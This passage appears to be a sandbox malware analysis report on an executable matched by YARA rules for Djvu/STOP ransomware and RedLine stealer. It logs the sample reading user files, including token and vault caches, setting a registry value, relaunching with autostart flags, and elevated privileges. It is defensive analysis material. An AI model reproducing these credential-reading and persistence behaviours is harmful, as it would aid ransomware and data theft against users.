unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\AppData\Local\Microsoft\OneDrive\LogoImages\On
eDriveMedTile.contrast-white_scale-150.png

unknown 38 success or wait 1 41134B ReadFile

C:\Users\user\AppData\Local\Microsoft\OneDrive\LogoImages\On
eDriveMedTile.contrast-white_scale-150.png

unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\AppData\Local\Microsoft\OneDrive\LogoImages\On
eDriveMedTile.contrast-white_scale-200.png

unknown 38 success or wait 1 41134B ReadFile

C:\Users\user\AppData\Local\Microsoft\OneDrive\LogoImages\On
eDriveMedTile.contrast-white_scale-200.png

unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\AppData\Local\Microsoft\OneDrive\LogoImages\On
eDriveMedTile.contrast-white_scale-400.png

unknown 38 success or wait 1 41134B ReadFile

C:\Users\user\AppData\Local\Microsoft\OneDrive\LogoImages\On
eDriveMedTile.contrast-white_scale-400.png

unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\AppData\Local\Microsoft\OneDrive\LogoImages\On
eDriveMedTile.scale-100.png

unknown 38 success or wait 1 41134B ReadFile

C:\Users\user\AppData\Local\Microsoft\OneDrive\LogoImages\On
eDriveMedTile.scale-100.png

unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\AppData\Local\Microsoft\OneDrive\LogoImages\On
eDriveMedTile.scale-125.png

unknown 38 success or wait 1 41134B ReadFile

C:\Users\user\AppData\Local\Microsoft\OneDrive\LogoImages\On
eDriveMedTile.scale-125.png

unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\AppData\Local\Microsoft\OneDrive\LogoImages\On
eDriveMedTile.scale-150.png

unknown 38 success or wait 1 41134B ReadFile

C:\Users\user\AppData\Local\Microsoft\OneDrive\LogoImages\On
eDriveMedTile.scale-150.png

unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\AppData\Local\Microsoft\OneDrive\LogoImages\On
eDriveMedTile.scale-200.png

unknown 38 success or wait 1 41134B ReadFile

C:\Users\user\AppData\Local\Microsoft\OneDrive\LogoImages\On
eDriveMedTile.scale-200.png

unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\AppData\Local\Microsoft\OneDrive\LogoImages\On
eDriveMedTile.scale-400.png

unknown 38 success or wait 1 41134B ReadFile

C:\Users\user\AppData\Local\Microsoft\OneDrive\LogoImages\On
eDriveMedTile.scale-400.png

unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\AppData\Local\Microsoft\OneDrive\LogoImages\On
eDriveSmallTile.contrast-black_scale-100.png

unknown 38 success or wait 1 41134B ReadFile

C:\Users\user\AppData\Local\Microsoft\OneDrive\LogoImages\On
eDriveSmallTile.contrast-black_scale-100.png

unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\AppData\Local\Microsoft\OneDrive\LogoImages\On
eDriveSmallTile.contrast-black_scale-125.png

unknown 38 success or wait 1 41134B ReadFile

C:\Users\user\AppData\Local\Microsoft\OneDrive\LogoImages\On
eDriveSmallTile.contrast-black_scale-125.png

unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\AppData\Local\Microsoft\OneDrive\LogoImages\On
eDriveSmallTile.contrast-black_scale-150.png

unknown 38 success or wait 1 41134B ReadFile
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C:\Users\user\AppData\Local\Microsoft\OneDrive\LogoImages\On
eDriveSmallTile.contrast-black_scale-150.png

unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\AppData\Local\Microsoft\OneDrive\LogoImages\On
eDriveSmallTile.contrast-black_scale-200.png

unknown 38 success or wait 1 41134B ReadFile

C:\Users\user\AppData\Local\Microsoft\OneDrive\LogoImages\On
eDriveSmallTile.contrast-black_scale-200.png

unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\AppData\Local\Microsoft\OneDrive\LogoImages\On
eDriveSmallTile.contrast-black_scale-400.png

unknown 38 success or wait 1 41134B ReadFile

C:\Users\user\AppData\Local\Microsoft\OneDrive\LogoImages\On
eDriveSmallTile.contrast-black_scale-400.png

unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\AppData\Local\Microsoft\OneDrive\LogoImages\On
eDriveSmallTile.contrast-white_scale-100.png

unknown 38 success or wait 1 41134B ReadFile

C:\Users\user\AppData\Local\Microsoft\OneDrive\LogoImages\On
eDriveSmallTile.contrast-white_scale-100.png

unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\AppData\Local\Microsoft\OneDrive\LogoImages\On
eDriveSmallTile.contrast-white_scale-125.png

unknown 38 success or wait 1 41134B ReadFile

C:\Users\user\AppData\Local\Microsoft\OneDrive\LogoImages\On
eDriveSmallTile.contrast-white_scale-125.png

unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\AppData\Local\Microsoft\OneDrive\LogoImages\On
eDriveSmallTile.contrast-white_scale-150.png

unknown 38 success or wait 1 41134B ReadFile

C:\Users\user\AppData\Local\Microsoft\OneDrive\LogoImages\On
eDriveSmallTile.contrast-white_scale-150.png

unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\AppData\Local\Microsoft\OneDrive\LogoImages\On
eDriveSmallTile.contrast-white_scale-200.png

unknown 38 success or wait 1 41134B ReadFile

C:\Users\user\AppData\Local\Microsoft\OneDrive\LogoImages\On
eDriveSmallTile.contrast-white_scale-200.png

unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\AppData\Local\Microsoft\OneDrive\LogoImages\On
eDriveSmallTile.contrast-white_scale-400.png

unknown 38 success or wait 1 41134B ReadFile

C:\Users\user\AppData\Local\Microsoft\OneDrive\LogoImages\On
eDriveSmallTile.contrast-white_scale-400.png

unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\AppData\Local\Microsoft\OneDrive\LogoImages\On
eDriveSmallTile.scale-100.png

unknown 38 success or wait 1 41134B ReadFile

C:\Users\user\AppData\Local\Microsoft\OneDrive\LogoImages\On
eDriveSmallTile.scale-100.png

unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\AppData\Local\Microsoft\OneDrive\LogoImages\On
eDriveSmallTile.scale-125.png

unknown 38 success or wait 1 41134B ReadFile

C:\Users\user\AppData\Local\Microsoft\OneDrive\LogoImages\On
eDriveSmallTile.scale-125.png

unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\AppData\Local\Microsoft\OneDrive\LogoImages\On
eDriveSmallTile.scale-150.png

unknown 38 success or wait 1 41134B ReadFile

C:\Users\user\AppData\Local\Microsoft\OneDrive\LogoImages\On
eDriveSmallTile.scale-150.png

unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\AppData\Local\Microsoft\OneDrive\LogoImages\On
eDriveSmallTile.scale-200.png

unknown 38 success or wait 1 41134B ReadFile

C:\Users\user\AppData\Local\Microsoft\OneDrive\LogoImages\On
eDriveSmallTile.scale-200.png

unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\AppData\Local\Microsoft\OneDrive\LogoImages\On
eDriveSmallTile.scale-400.png

unknown 38 success or wait 1 41134B ReadFile

C:\Users\user\AppData\Local\Microsoft\OneDrive\LogoImages\On
eDriveSmallTile.scale-400.png

unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\ECSConfig.json unknown 38 success or wait 1 41134B ReadFile

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\ECSConfig.json unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\5475
cb191e478c39370a215b2da98a37e9dc813d.tbres

unknown 38 success or wait 1 41134B ReadFile

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\5475
cb191e478c39370a215b2da98a37e9dc813d.tbres

unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\AppData\Local\Microsoft\Vault\4BF4C442-9B8A-41A0-B380-
DD4A704DDB28\Policy.vpol

unknown 38 success or wait 1 41134B ReadFile

C:\Users\user\AppData\Local\Microsoft\Vault\4BF4C442-9B8A-41A0-B380-
DD4A704DDB28\Policy.vpol

unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\AppData\Local\Microsoft\Windows\1033\Structure
dQuerySchema.bin

unknown 38 success or wait 1 41134B ReadFile

C:\Users\user\AppData\Local\Microsoft\Windows\1033\Structure
dQuerySchema.bin

unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\AppData\Local\Microsoft\Windows\ActionCenterCa
che\windows-systemtoast-securityandmaintenance_29_0.png

unknown 38 success or wait 1 41134B ReadFile

C:\Users\user\AppData\Local\Microsoft\Windows\ActionCenterCa
che\windows-systemtoast-securityandmaintenance_29_0.png

unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\AppData\Local\Microsoft\Windows\Caches\cversions.1.db unknown 38 success or wait 1 41134B ReadFile

C:\Users\user\AppData\Local\Microsoft\Windows\Caches\cversions.1.db unknown 153605 success or wait 1 41140B ReadFile
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C:\Users\user\AppData\Local\Microsoft\Windows\Caches\cversions.3.db unknown 38 success or wait 1 41134B ReadFile

C:\Users\user\AppData\Local\Microsoft\Windows\Caches\cversions.3.db unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{278F5142-
B905-4D30-88C9-B63C603DA134}.3.ver0x0000000000000001.db

unknown 38 success or wait 1 41134B ReadFile

C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{278F5142-
B905-4D30-88C9-B63C603DA134}.3.ver0x0000000000000001.db

unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{3DA71D5A-
20CC-432F-A115-DFE92379E91F}.3.ver0x0000000000000013.db

unknown 38 success or wait 1 41134B ReadFile

C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{3DA71D5A-
20CC-432F-A115-DFE92379E91F}.3.ver0x0000000000000013.db

unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{3DA71D5A-
20CC-432F-A115-DFE92379E91F}.3.ver0x0000000000000015.db

unknown 38 success or wait 1 41134B ReadFile

C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{3DA71D5A-
20CC-432F-A115-DFE92379E91F}.3.ver0x0000000000000015.db

unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{AFBF9F1A-
8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000007.db

unknown 38 success or wait 1 41134B ReadFile

C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{AFBF9F1A-
8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000007.db

unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{AFBF9F1A-
8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000008.db

unknown 38 success or wait 1 41134B ReadFile

C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{AFBF9F1A-
8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000008.db

unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\Explo
rerStartupLog.etl

unknown 38 success or wait 1 41134B ReadFile

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\Explo
rerStartupLog.etl

unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\Explo
rerStartupLog_RunOnce.etl

unknown 38 success or wait 1 41134B ReadFile

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\Explo
rerStartupLog_RunOnce.etl

unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconc
ache_1280.db

unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconc
ache_1920.db

unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconc
ache_2560.db

unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconc
ache_768.db

unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconc
ache_96.db

unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconc
ache_custom_stream.db

unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconc
ache_exif.db

unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_sr.db unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconc
ache_wide.db

unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconc
ache_wide_alternate.db

unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumb
cache_1280.db

unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumb
cache_16.db

unknown 38 success or wait 1 41134B ReadFile

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumb
cache_16.db

unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumb
cache_1920.db

unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumb
cache_2560.db

unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumb
cache_768.db

unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumb
cache_96.db

unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumb
cache_custom_stream.db

unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumb
cache_exif.db

unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumb
cache_sr.db

unknown 153605 success or wait 1 41140B ReadFile
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C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumb
cache_wide.db

unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumb
cache_wide_alternate.db

unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\AppData\Local\Microsoft\Windows\Shell\DefaultLayouts.xml unknown 38 success or wait 1 41134B ReadFile

C:\Users\user\AppData\Local\Microsoft\Windows\Shell\DefaultLayouts.xml unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\AppData\Local\Microsoft\Windows\UPPS\UPPS.bin unknown 38 success or wait 1 41134B ReadFile

C:\Users\user\AppData\Local\Microsoft\Windows\UPPS\UPPS.bin unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\AppData\Local\Microsoft\Windows\WebCache\V01.chk unknown 38 success or wait 1 41134B ReadFile

C:\Users\user\AppData\Local\Microsoft\Windows\WebCache\V01.chk unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\AppData\Local\Microsoft\Windows\WebCache\V010000B.log unknown 38 success or wait 1 41134B ReadFile

C:\Users\user\AppData\Local\Microsoft\Windows\WebCache\V010000B.log unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\AppData\Local\Microsoft\Windows\WebCache\V0100
00C.log

unknown 38 success or wait 1 41134B ReadFile

C:\Users\user\AppData\Local\Microsoft\Windows\WebCache\V0100
00C.log

unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\AppData\Local\Microsoft\Windows\WebCache\V0100
00D.log

unknown 38 success or wait 1 41134B ReadFile

C:\Users\user\AppData\Local\Microsoft\Windows\WebCache\V0100
00D.log

unknown 153605 success or wait 1 41140B ReadFile

File Path Offset Length Completion Count Source Address Symbol

Key Path Name Type Data Completion Count Source Address Symbol

HKEY_CURRENT_USER\Softwar
e\Mic
rosoft\Windows\CurrentVersion

SysHelper dword 1 success or wait 1 40C72B RegSetValueEx
W

Target ID: 9

Start time: 11:23:12

Start date: 05/08/2022

Path: C:\Users\user\AppData\Local\dc8ee5c2-8cfe-4224-95e9-01d5d6a62169\2OmglUwx83.exe

Wow64 process (32bit): true

Commandline: C:\Users\user\AppData\Local\dc8ee5c2-8cfe-4224-95e9-01d5d6a62169\2OmglUwx83.exe --Task

Imagebase: 0x400000

File size: 878080 bytes

MD5 hash: 24B6EFFDD763BEFB6FF4A657E15C77BC

Has elevated privileges: true

Has administrator 
privileges:

true

Programmed in: C, C++ or other language

Registry Activities

Key Value Created

Analysis Process: 2OmglUwx83.exe PID: 1504, Parent PID: 3044

General
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Yara matches: Rule: SUSP_XORed_URL_in_EXE, Description: Detects an XORed URL in an executable, Source: 
00000009.00000000.391097079.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Florian Roth
Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 
00000009.00000000.391097079.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 
00000009.00000000.391097079.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 
00000009.00000000.391097079.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown
Rule: SUSP_XORed_URL_in_EXE, Description: Detects an XORed URL in an executable, Source: 
00000009.00000000.393257427.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Florian Roth
Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 
00000009.00000000.393257427.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 
00000009.00000000.393257427.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 
00000009.00000000.393257427.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown
Rule: SUSP_XORed_URL_in_EXE, Description: Detects an XORed URL in an executable, Source: 
00000009.00000000.398626476.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Florian Roth
Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 
00000009.00000000.398626476.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 
00000009.00000000.398626476.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 
00000009.00000000.398626476.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown
Rule: SUSP_XORed_URL_in_EXE, Description: Detects an XORed URL in an executable, Source: 
00000009.00000000.392479956.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Florian Roth
Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 
00000009.00000000.392479956.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 
00000009.00000000.392479956.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 
00000009.00000000.392479956.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown
Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 
00000009.00000000.388953002.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown
Rule: SUSP_XORed_URL_in_EXE, Description: Detects an XORed URL in an executable, Source: 
00000009.00000002.426411812.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Florian Roth
Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 
00000009.00000002.426411812.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 
00000009.00000002.426411812.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 
00000009.00000002.426411812.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown
Rule: SUSP_XORed_URL_in_EXE, Description: Detects an XORed URL in an executable, Source: 
00000009.00000000.389703574.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Florian Roth
Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 
00000009.00000000.389703574.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 
00000009.00000000.389703574.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 
00000009.00000000.389703574.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown

Reputation: low

File Path Access Attributes Options Completion Count Source Address Symbol

C:\Users\user read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

object name collision 1 40CFAC InternetOpen
UrlW

C:\Users\user\AppData\Local read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

object name collision 1 40CFAC InternetOpen
UrlW

C:\Users\user\AppData\Local\Mi
crosoft\Windows\INetCache

read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

object name collision 1 40CFAC InternetOpen
UrlW

C:\Users\user read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

object name collision 1 40CFAC InternetOpen
UrlW

File Activities

File Created
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C:\Users\user\AppData\Local read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

object name collision 1 40CFAC InternetOpen
UrlW

C:\Users\user\AppData\Local\Mi
crosoft\Windows\INetCookies

read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

object name collision 1 40CFAC InternetOpen
UrlW

C:\Users\user read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

object name collision 1 40CFAC InternetOpen
UrlW

C:\Users\user\AppData\Local read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

object name collision 1 40CFAC InternetOpen
UrlW

C:\Users\user\AppData\Local\Mi
crosoft\Windows\INetCookies

read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

object name collision 1 40CFAC InternetOpen
UrlW

C:\Users\user read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

object name collision 1 40CFAC InternetOpen
UrlW

C:\Users\user\AppData\Local read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

object name collision 1 40CFAC InternetOpen
UrlW

C:\Users\user\AppData\Local\Microsoft\Windows\History read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

object name collision 1 40CFAC InternetOpen
UrlW

File Path Access Attributes Options Completion Count Source Address Symbol

File Path Offset Length Completion Count Source Address Symbol

Target ID: 10

Start time: 11:23:13

Start date: 05/08/2022

Path: C:\Users\user\AppData\Local\dc8ee5c2-8cfe-4224-95e9-01d5d6a62169\2OmglUwx83.exe

Wow64 process (32bit): true

Commandline: "C:\Users\user\AppData\Local\dc8ee5c2-8cfe-4224-95e9-01d5d6a62169\2OmglUwx83.exe" --AutoStart

Imagebase: 0x400000

File size: 878080 bytes

MD5 hash: 24B6EFFDD763BEFB6FF4A657E15C77BC

Has elevated privileges: true

Has administrator 
privileges:

true

Programmed in: C, C++ or other language

Yara matches: Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 
0000000A.00000002.405620904.0000000002340000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 
0000000A.00000002.405620904.0000000002340000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 
0000000A.00000002.404465575.00000000007FF000.00000040.00000800.00020000.00000000.sdmp, Author: unknown

Analysis Process: 2OmglUwx83.exe PID: 5944, Parent PID: 3808

General
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Reputation: low

Target ID: 11

Start time: 11:23:15

Start date: 05/08/2022

Path: C:\Users\user\AppData\Local\dc8ee5c2-8cfe-4224-95e9-01d5d6a62169\2OmglUwx83.exe

Wow64 process (32bit): true

Commandline: "C:\Users\user\AppData\Local\dc8ee5c2-8cfe-4224-95e9-01d5d6a62169\2OmglUwx83.exe" --AutoStart

Imagebase: 0x400000

File size: 878080 bytes

MD5 hash: 24B6EFFDD763BEFB6FF4A657E15C77BC

Has elevated privileges: true

Has administrator 
privileges:

true

Programmed in: C, C++ or other language

Yara matches: Rule: SUSP_XORed_URL_in_EXE, Description: Detects an XORed URL in an executable, Source: 
0000000B.00000002.408000172.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Florian Roth
Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 
0000000B.00000002.408000172.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 
0000000B.00000002.408000172.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 
0000000B.00000002.408000172.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown
Rule: SUSP_XORed_URL_in_EXE, Description: Detects an XORed URL in an executable, Source: 
0000000B.00000000.398886429.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Florian Roth
Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 
0000000B.00000000.398886429.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 
0000000B.00000000.398886429.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 
0000000B.00000000.398886429.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown
Rule: SUSP_XORed_URL_in_EXE, Description: Detects an XORed URL in an executable, Source: 
0000000B.00000000.399360568.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Florian Roth
Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 
0000000B.00000000.399360568.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 
0000000B.00000000.399360568.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 
0000000B.00000000.399360568.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown
Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 
0000000B.00000000.396728940.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown
Rule: SUSP_XORed_URL_in_EXE, Description: Detects an XORed URL in an executable, Source: 
0000000B.00000000.401628959.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Florian Roth
Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 
0000000B.00000000.401628959.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 
0000000B.00000000.401628959.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 
0000000B.00000000.401628959.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown
Rule: SUSP_XORed_URL_in_EXE, Description: Detects an XORed URL in an executable, Source: 
0000000B.00000000.397080958.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Florian Roth
Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 
0000000B.00000000.397080958.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 
0000000B.00000000.397080958.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 
0000000B.00000000.397080958.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown
Rule: SUSP_XORed_URL_in_EXE, Description: Detects an XORed URL in an executable, Source: 
0000000B.00000000.400942313.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Florian Roth
Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 
0000000B.00000000.400942313.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 
0000000B.00000000.400942313.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 
0000000B.00000000.400942313.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown

Reputation: low

